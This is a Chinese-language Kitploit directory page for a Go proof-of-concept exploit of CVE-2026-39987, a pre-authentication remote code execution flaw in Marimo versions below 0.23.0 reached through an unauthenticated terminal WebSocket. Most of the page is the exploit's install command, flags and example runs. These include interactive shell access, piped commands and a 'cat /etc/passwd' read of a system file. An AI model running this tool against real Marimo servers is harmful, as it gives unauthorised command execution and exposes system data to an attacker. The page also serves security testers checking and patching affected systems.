Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2026-39987 — 通过连接未认证的 /terminal/ws WebSocket,利用 Marimo <0.23.0 中的 CVE-2026-39987 预认证 RCE 漏洞。支持任意命令执行、管道输入和交互式 Shell 会话。 | Kitploit
工具/GitHubGitHub/matesz44/cve-2026-39987
身份验证与授权漏洞利用Web应用程序漏洞利用渗透测试红队
GitHubmatesz44/cve-2026-39987

cve-2026-39987

通过连接未认证的 /terminal/ws WebSocket,利用 Marimo <0.23.0 中的 CVE-2026-39987 预认证 RCE 漏洞。支持任意命令执行、管道输入和交互式 Shell 会话。

查看仓库
628天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享


cve-2026-39987

安装 • 用法 • 示例

我只是在尝试 Go :D 另外,CVE-2026-39987 PoC:Marimo<0.23.0 通过终端 WebSocket 身份验证绕过实现预认证远程代码执行(/terminal/ws 上没有 authn 检查)。

资源:

  • https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
  • https://nvd.nist.gov/vuln/detail/CVE-2026-39987

安装

root@kitploit:~
go install -v github.com/matesz44/cve-2026-39987/cmd/cve-2026-39987@latest

用法

root@kitploit:~
cve-2026-39987 -h

这将显示该工具的帮助信息。以下是它支持的所有开关选项。

root@kitploit:~
CVE-2026-39987 PoC: Marimo<0.23.0 Pre-Auth Remote Code Execution via Terminal WebSocket Authentication Bypass
- Source: https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc

Usage:
  ./cve-2026-39987 [flags]

Flags:
   -t, -target string  Target WebSocket URL (required, e.g., ws(s)://[TARGET]:([PORT])/terminal/ws)
   -c, -cmd string     Command to Run (default "uname -a")
   -i, -interactive    Interactive Mode

示例

默认命令(uname -a):

root@kitploit:~
cve-2026-39987 -t ws(s)://<TARGET>[:PORT]/terminal/ws
REDACTED@REDACTED:~$ uname -a
Linux [...]
REDACTED@REDACTED:~$ exit
exit

[INF:normalclose] websocket: close 1000 (normal): Terminal session ended

自定义命令(-c):

root@kitploit:~
cve-2026-39987 -t ws(s)://<TARGET>[:PORT]/terminal/ws -c "cat /etc/passwd"
REDACTED@REDACTED:~$ cat /etc/passwd
exit
root:x:0:0: [...]
REDACTED@REDACTED:~$ exit
exit

[INF:normalclose] websocket: close 1000 (normal): Terminal session ended

交互模式(-i):

root@kitploit:~
cve-2026-39987 -t ws(s)://<TARGET>[:PORT]/terminal/ws -i
REDACTED@REDACTED:~$ id
id
uid=1000(REDACTED) gid=1000(REDACTED) groups=1000(REDACTED)
REDACTED@REDACTED:~$ whoami
whoami
REDACTED
REDACTED@REDACTED:~$ exit
exit
exit

[INF:normalclose] websocket: close 1000 (normal): Terminal session ended

管道输入:

root@kitploit:~
printf "id\nwhoami" | cve-2026-39987 -t ws(s)://<TARGET>[:PORT]/terminal/ws
REDACTED@REDACTED:~$ id
whoami
exit
uid=1000(REDACTED) gid=1000(REDACTED) groups=1000(REDACTED)
REDACTED@REDACTED:~$ whoami
REDACTED
REDACTED@REDACTED:~$ exit
exit

[INF:normalclose] websocket: close 1000 (normal): Terminal session ended
下载工具